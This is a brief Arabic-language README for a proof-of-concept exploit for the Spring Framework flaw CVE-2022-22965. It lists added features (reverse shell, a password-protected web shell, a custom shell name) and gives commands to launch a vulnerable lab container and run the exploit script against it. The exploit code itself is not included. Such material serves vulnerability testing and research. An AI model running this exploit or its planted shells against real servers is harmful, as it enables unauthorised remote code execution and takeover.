CVE-2022-22965 poc

CVE-2022-22965 poc يتضمن دعم الصدفة العكسية وكلمة المرور. لا تتردد في إضافة المزيد :)

كيف تختبر؟

$ docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29 # تشغيل حاوية ضعيفة
$ python3 exploit.py -c id --password 1234 --shell_name big0us
$ python3 exploit.py --help # لمزيد من الاستخدامات

الفضل

أعدت هيكلة كود الاستغلال الأصلي وأضفت بعض الميزات

التغييرات

• دعم الصدفة العكسية
• دعم كلمة المرور
• دعم اسم الصدفة